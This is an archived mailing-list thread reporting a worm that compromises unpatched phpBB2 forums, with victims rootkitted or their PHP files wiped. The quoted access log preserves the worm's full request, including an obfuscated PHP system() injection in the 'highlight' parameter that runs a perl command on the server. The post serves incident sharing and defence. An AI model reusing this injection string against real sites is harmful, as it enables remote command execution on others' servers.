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From: mark at onnow.net (mark@...ow.net)
Subject: Re: Worm hitting PHPbb2 Forums

Front what I have read, this can happen in any phpbb version lower than 2.0.11

This exploit is becoming frequent.  Normally uploading a ddos bot.

Mark

Quoting "L. Walker" <lwalker@...i.net.au>:

> Just spotted two clients hit by this.  One client didnt update his
> software (PHP 4.3.4, Apache 1.3.22) and was rootkitted by generation 16. 
> Chkrootkit says its Adore, however could be something else.  Datacenter
> wasn't very smart and has since wiped the server, so no binaries or other
> evidence.
> 
> Generation 12 only wiped out PHP files, replacing them with its own
> message on other client's PHPbb2 forum.  Access logs show:
> 
> 66.220.28.92 - - [21/Dec/2004:18:07:17 +1100] "GET
>
/forum/viewtopic.php?p=1445&sid=d2260869a73fb5aca2aed0d8a88cf55a&highlight=%2527%252Esystem(chr(112)%252echr(101)%252echr(114)%252echr(108)%252echr(32)%252echr(45)%252echr(101)%252echr(32)%252echr(34)%252echr(111)%252echr(112)%252echr(101)%252echr(110)%252echr(32)%252echr(79)%252echr(85)%252echr(84)%252echr(44)%252echr(113)%252echr(40)%252echr(62)%252echr(109)%252echr(49)%252echr(104)%252echr(111)%252echr(50)%252echr(111)%252echr(102)%252echr(41)%252echr(32)%252echr(97)%252echr(110)%252echr(100)%252echr(32)%252echr(112)%252echr(114)%252echr(105)%252echr(110)%252echr(116)%252echr(32)%252echr(113)%252echr(40)%252echr(72)%252echr(89)%252echr(118)%252echr(57)%252echr(112)%252echr(111)%252echr(52)%252echr(122)%252echr(51)%252echr(106)%252echr(106)%252echr(72)%252echr(87)%252echr(97)%252echr(110)%252echr(78)%252echr(41)%252echr(34))%252e%2527
> HTTP/1.0" 200 270
>
"http://www.noobforces.net/forum/viewtopic.php?p=1445&sid=d2260869a73fb5aca2aed0d8a88cf55a&highlight=%2527%252Esystem(chr(112)%252echr(101)%252echr(114)%252echr(108)%252echr(32)%252echr(45)%252echr(101)%252echr(32)%252echr(34)%252echr(111)%252echr(112)%252echr(101)%252echr(110)%252echr(32)%252echr(79)%252echr(85)%252echr(84)%252echr(44)%252echr(113)%252echr(40)%252echr(62)%252echr(109)%252echr(49)%252echr(104)%252echr(111)%252echr(50)%252echr(111)%252echr(102)%252echr(41)%252echr(32)%252echr(97)%252echr(110)%252echr(100)%252echr(32)%252echr(112)%252echr(114)%252echr(105)%252echr(110)%252echr(116)%252echr(32)%252echr(113)%252echr(40)%252echr(72)%252echr(89)%252echr(118)%252echr(57)%252echr(112)%252echr(111)%252echr(52)%252echr(122)%252echr(51)%252echr(106)%252echr(106)%252echr(72)%252echr(87)%252echr(97)%252echr(110)%252echr(78)%252echr(41)%252echr(34))%252e%2527"
> "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
> 
> --
> L. Walker <lwalker at magi dot net dot au>
> Network Administrator / Consultant
> --
> 




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